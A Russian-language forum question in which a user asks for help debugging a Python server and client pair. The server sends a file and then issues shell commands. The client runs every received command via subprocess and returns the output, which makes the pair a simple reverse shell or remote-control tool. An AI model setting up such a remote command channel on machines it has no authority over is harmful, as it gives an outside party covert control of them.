Скопируйте файл с сервера на клиентский сокет - PullRequest
0 голосов
/ 16 апреля 2020

Привет, мне нужна помощь. Я пишу код, который копирует файл с сервера на сторону клиента, когда сервер запускает его, сначала копирует файл, затем запрашивает команду Enter для выполнения, в основном, я управляю клиентом с удаленной стороны, и после копирования файла мне нужно запустить мой другие команды, которые я ввожу, но после того, как он скопирует мой файл, он успешно скопирует, но затем он взломает sh или что-то еще, он не попросит меня ввести команду для его запуска, не выполнит ничего после копирования файла с сервера, мне нужна помощь

Это код моего сервера:

import base64
import socket
from base64 import b64encode


SERVER_HOST = "0.0.0.0"
SERVER_PORT = 5003

BUFFER_SIZE = 1024

# create a socket object
s = socket.socket()

# bind the socket to all IP addresses of this host
s.bind((SERVER_HOST, SERVER_PORT))
# make the PORT reusable
# when you run the server multiple times in Linux, Address already in use error will raise
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.listen(5)
print(f"Listening as {SERVER_HOST}:{SERVER_PORT} ...")

# accept any connections attempted
client_socket, client_address = s.accept()
print(f"{client_address[0]}:{client_address[1]} Connected!")

# just sending a message, for demonstration purposes
message = "Hello and Welcome".encode()
client_socket.send(message)
filename = 'mytext.txt'
f = open(filename, 'rb')
l = f.read(1024)
while (l):
    client_socket.send(l)
    print('Sent ', repr(l))
    l = f.read(1024)
    f.close()

print('Done sending')

client_socket.close()
while True:
    # get the command from prompt

    command = input("Enter the command you wanna execute:")
    # send the command to the client
    if command == "3":
        command2 = "arp -a"
       # b = command2.encode("UTF-8")
        #e = base64.b64encode(b)
        client_socket.send(command2.encode())
    else:
        client_socket.send(command.encode())
    if command.lower() == "exit":
        # if the command is exit, just break out of the loop
        break
    # retrieve command results
    results = client_socket.recv(BUFFER_SIZE).decode()
    # print them
    print(results)
# close connection to the client
client_socket.close()
# close server connection
s.close()

Это код моего клиента:

import socket
import subprocess
import sys

SERVER_HOST = "localhost"
SERVER_PORT = 5003
BUFFER_SIZE = 1024

# create the socket object
s = socket.socket()
# connect to the server
s.connect((SERVER_HOST, SERVER_PORT))

# receive the greeting message
message = s.recv(BUFFER_SIZE).decode()
print("Server:", message)
with open('/home/salman/Desktop/received_file', 'wb') as f:
    print ("file opened")
    while True:
        print('receiving data...')
        data = s.recv(1024)
        print('data=%s', (data))
        if not data:
            break
        # write data to a file
        f.write(data)

f.close()
print('Successfully get the file')
while True:

    # receive the command from the server
    command = s.recv(BUFFER_SIZE).decode()
    if command.lower() == "exit":
        # if the command is exit, just break out of the loop
        break
    # execute the command and retrieve the results
    output = subprocess.getoutput(command)
    # send the results back to the server
    s.send(output.encode())
# close client connection
s.close()
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...